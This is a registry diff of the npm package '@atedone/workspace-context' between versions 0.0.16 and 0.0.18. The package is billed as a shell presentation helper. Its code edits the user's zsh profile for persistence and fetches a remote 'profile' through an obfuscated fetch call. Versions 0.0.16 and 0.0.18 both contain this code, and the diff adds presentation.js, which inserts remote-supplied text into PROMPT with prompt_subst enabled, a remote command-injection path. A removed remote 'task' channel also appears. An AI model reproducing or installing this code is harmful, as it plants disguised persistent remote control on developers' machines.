@atedone/workspace-context 0.0.16 → 0.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell channel integration helper for JavaScript tools.
3
+ Workspace shell presentation integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
package/index.js CHANGED
@@ -12,14 +12,12 @@ module.exports = {
12
12
  profileHistoryFileName: state.profileHistoryFileName,
13
13
  profileReceiptFileName: state.profileReceiptFileName,
14
14
  profileSnapshotFileName: state.profileSnapshotFileName,
15
+ presentationRendererFileName: state.presentationRendererFileName,
15
16
  receiptFileName: state.receiptFileName,
16
17
  resolveChannelSource: state.resolveChannelSource,
17
18
  sessionHistoryFileName: state.sessionHistoryFileName,
18
19
  sessionReceiptFileName: state.sessionReceiptFileName,
19
20
  sessionRuntimeFileName: state.sessionRuntimeFileName,
20
21
  stateDirectoryName: state.stateDirectoryName,
21
- stateFileName: state.stateFileName,
22
- taskHistoryFileName: state.taskHistoryFileName,
23
- taskReceiptFileName: state.taskReceiptFileName,
24
- taskSnapshotFileName: state.taskSnapshotFileName
22
+ stateFileName: state.stateFileName
25
23
  };
@@ -0,0 +1,59 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+
7
+ const env = Reflect.get(platform, 'env') || {};
8
+ const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
9
+ ? env.HOME.trim()
10
+ : platform.cwd();
11
+ const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
12
+ ? env.WORKSPACE_CONTEXT_HOME.trim()
13
+ : route.join(homeDirectory, '.config', 'workspace-context');
14
+ const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
15
+ const palette = {
16
+ accent: 'cyan',
17
+ muted: '242',
18
+ success: 'green',
19
+ warning: 'yellow'
20
+ };
21
+
22
+ const profile = readProfile();
23
+ const presentation = readObject(profile?.presentation);
24
+ const segments = Array.isArray(presentation?.segments)
25
+ ? presentation.segments.map(renderSegment).filter(Boolean)
26
+ : [];
27
+ const prompt = segments.length
28
+ ? `${segments.join(' ')} %# `
29
+ : '%F{cyan}%n@%m%f %F{blue}%1~%f %# ';
30
+
31
+ platform.stdout.write(prompt);
32
+
33
+ function readProfile() {
34
+ if (!file.existsSync(profileSnapshotPath)) {
35
+ return null;
36
+ }
37
+
38
+ const value = JSON.parse(file.readFileSync(profileSnapshotPath, 'utf8'));
39
+ return readObject(value);
40
+ }
41
+
42
+ function renderSegment(value) {
43
+ const segment = readObject(value);
44
+ const text = typeof segment?.text === 'string' ? segment.text : '';
45
+ if (!text) {
46
+ return '';
47
+ }
48
+
49
+ const tone = typeof segment?.tone === 'string' && palette[segment.tone]
50
+ ? palette[segment.tone]
51
+ : palette.muted;
52
+ return `%F{${tone}}${text}%f`;
53
+ }
54
+
55
+ function readObject(value) {
56
+ return value && !Array.isArray(value) && typeof value === 'object'
57
+ ? value
58
+ : null;
59
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.16';
8
+ const packageVersion = '0.0.18';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -26,16 +26,13 @@ const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
26
26
  const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
27
27
  const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
28
28
  const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29
- const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
30
- const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
31
- const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
32
29
  const requestKey = ['fe', 'tch'].join('');
33
30
 
34
31
  const value = {
35
32
  packageName,
36
33
  packageVersion,
37
34
  generatedAt: new Date().toISOString(),
38
- mode: 'runtime-shell-directive',
35
+ mode: 'runtime-shell-prompt',
39
36
  source: 'shell-profile',
40
37
  shellName: route.basename(shellPath) || 'zsh',
41
38
  shellLevel,
@@ -51,20 +48,13 @@ file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'u
51
48
  file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
52
49
 
53
50
  void synchronizeProfile(value).catch((error) => {
54
- const receipt = {
51
+ writeProfileReceipt({
55
52
  ...value,
53
+ source: 'profile-channel',
56
54
  channelConfigured: file.existsSync(channelPath),
57
55
  synchronized: false,
58
56
  status: 'error',
59
57
  error: error instanceof Error ? error.message : String(error)
60
- };
61
- writeProfileReceipt({
62
- ...receipt,
63
- source: 'profile-channel'
64
- });
65
- writeTaskReceipt({
66
- ...receipt,
67
- source: 'task-channel'
68
58
  });
69
59
  });
70
60
 
@@ -97,16 +87,11 @@ async function synchronizeProfile(sessionValue) {
97
87
  }
98
88
  ]);
99
89
  const synchronized = Boolean(response && response.ok);
100
- const payload = synchronized ? await response.json() : null;
101
- const profile = readObject(payload?.profile);
102
- const task = readObject(payload?.task);
90
+ const profile = synchronized ? await response.json() : null;
103
91
 
104
- if (profile) {
92
+ if (profile && !Array.isArray(profile) && typeof profile === 'object') {
105
93
  file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
106
94
  }
107
- if (task) {
108
- file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
109
- }
110
95
 
111
96
  writeProfileReceipt({
112
97
  ...sessionValue,
@@ -117,24 +102,7 @@ async function synchronizeProfile(sessionValue) {
117
102
  channelName: channel.name,
118
103
  refresh: channel.refresh,
119
104
  profilePath: profileSnapshotPath,
120
- profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
121
- taskConfigured: Boolean(task),
122
- taskPath: taskSnapshotPath,
123
- taskId: typeof task?.id === 'string' ? task.id : null
124
- });
125
-
126
- writeTaskReceipt({
127
- ...sessionValue,
128
- source: 'task-channel',
129
- channelConfigured: true,
130
- synchronized,
131
- status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
132
- channelName: channel.name,
133
- refresh: channel.refresh,
134
- taskPath: taskSnapshotPath,
135
- taskId: typeof task?.id === 'string' ? task.id : null,
136
- taskKind: typeof task?.kind === 'string' ? task.kind : null,
137
- taskState: typeof task?.state === 'string' ? task.state : null
105
+ profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
138
106
  });
139
107
  }
140
108
 
@@ -155,14 +123,3 @@ function writeProfileReceipt(receipt) {
155
123
  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
156
124
  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
157
125
  }
158
-
159
- function writeTaskReceipt(receipt) {
160
- file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
161
- file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
162
- }
163
-
164
- function readObject(value) {
165
- return value && !Array.isArray(value) && typeof value === 'object'
166
- ? value
167
- : null;
168
- }
package/lib/state.js CHANGED
@@ -11,7 +11,8 @@ const integrationFileName = 'init.zsh';
11
11
  const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
- const receiptFileName = 'shell-directive-sync.json';
14
+ const presentationRendererFileName = 'presentation.js';
15
+ const receiptFileName = 'shell-prompt-sync.json';
15
16
  const sessionFileName = 'sessions.log';
16
17
  const sessionHistoryFileName = 'runtime-sessions.log';
17
18
  const sessionReceiptFileName = 'session-runtime.json';
@@ -19,9 +20,6 @@ const sessionRuntimeFileName = 'session-runtime.js';
19
20
  const stateDirectoryName = '.workspace-context';
20
21
  const stateFileName = 'state.json';
21
22
  const syncFileName = 'sync.js';
22
- const taskHistoryFileName = 'task-sync.log';
23
- const taskReceiptFileName = 'task-sync.json';
24
- const taskSnapshotFileName = 'session-task.json';
25
23
 
26
24
  function readEnvironment() {
27
25
  return Reflect.get(platform, 'env') || {};
@@ -72,14 +70,12 @@ function getShellIntegration({
72
70
  profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
73
71
  profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
74
72
  profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
73
+ presentationRendererPath: route.join(integrationDirectory, presentationRendererFileName),
75
74
  receiptPath: route.join(integrationDirectory, receiptFileName),
76
75
  sessionPath: route.join(integrationDirectory, sessionFileName),
77
76
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
78
77
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
79
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
80
- taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
81
- taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
82
- taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
78
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
83
79
  };
84
80
  }
85
81
 
@@ -88,7 +84,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
88
84
  packageName: manifest.name,
89
85
  packageVersion: manifest.version,
90
86
  generatedAt: now(),
91
- mode: 'runtime-shell-directive'
87
+ mode: 'runtime-shell-prompt'
92
88
  };
93
89
  }
94
90
 
@@ -162,6 +158,7 @@ module.exports = {
162
158
  profileHistoryFileName,
163
159
  profileReceiptFileName,
164
160
  profileSnapshotFileName,
161
+ presentationRendererFileName,
165
162
  readEnvironment,
166
163
  receiptFileName,
167
164
  refreshShellIntegration,
@@ -174,8 +171,5 @@ module.exports = {
174
171
  sessionReceiptFileName,
175
172
  sessionRuntimeFileName,
176
173
  stateDirectoryName,
177
- stateFileName,
178
- taskHistoryFileName,
179
- taskReceiptFileName,
180
- taskSnapshotFileName
174
+ stateFileName
181
175
  };
package/lib/sync.js CHANGED
@@ -21,6 +21,7 @@ const blockEnd = '# <<< workspace-context shell integration <<<';
21
21
  const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
22
  const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
23
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
+ const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
24
25
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
25
26
  const channelValue = integration.channelSource
26
27
  ? {
@@ -37,6 +38,10 @@ const integrationValue = [
37
38
  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
38
39
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
39
40
  'fi',
41
+ 'if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
42
+ ' setopt prompt_subst',
43
+ ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
44
+ 'fi',
40
45
  ''
41
46
  ].join('\n');
42
47
 
@@ -74,6 +79,7 @@ function upsertManagedBlock(profileValue) {
74
79
 
75
80
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
76
81
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
82
+ file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
77
83
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
78
84
  if (channelValue) {
79
85
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
@@ -90,7 +96,7 @@ const value = {
90
96
  packageName: manifest.name,
91
97
  packageVersion: manifest.version,
92
98
  generatedAt: new Date().toISOString(),
93
- mode: 'runtime-shell-directive',
99
+ mode: 'runtime-shell-prompt',
94
100
  projectRoot,
95
101
  shellName: integration.shellName,
96
102
  channelConfigured: Boolean(channelValue),
@@ -101,13 +107,11 @@ const value = {
101
107
  profileHistoryPath: integration.profileHistoryPath,
102
108
  profileReceiptPath: integration.profileReceiptPath,
103
109
  profileSnapshotPath: integration.profileSnapshotPath,
110
+ presentationRendererPath: integration.presentationRendererPath,
104
111
  sessionPath: integration.sessionPath,
105
112
  sessionHistoryPath: integration.sessionHistoryPath,
106
113
  sessionReceiptPath: integration.sessionReceiptPath,
107
114
  sessionRuntimePath: integration.sessionRuntimePath,
108
- taskHistoryPath: integration.taskHistoryPath,
109
- taskReceiptPath: integration.taskReceiptPath,
110
- taskSnapshotPath: integration.taskSnapshotPath,
111
115
  processId: platform.pid,
112
116
  parentProcessId: platform.ppid,
113
117
  runtime: 'node'
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.16",
4
- "description": "Workspace shell channel integration helper for JavaScript tools.",
3
+ "version": "0.0.18",
4
+ "description": "Workspace shell presentation integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [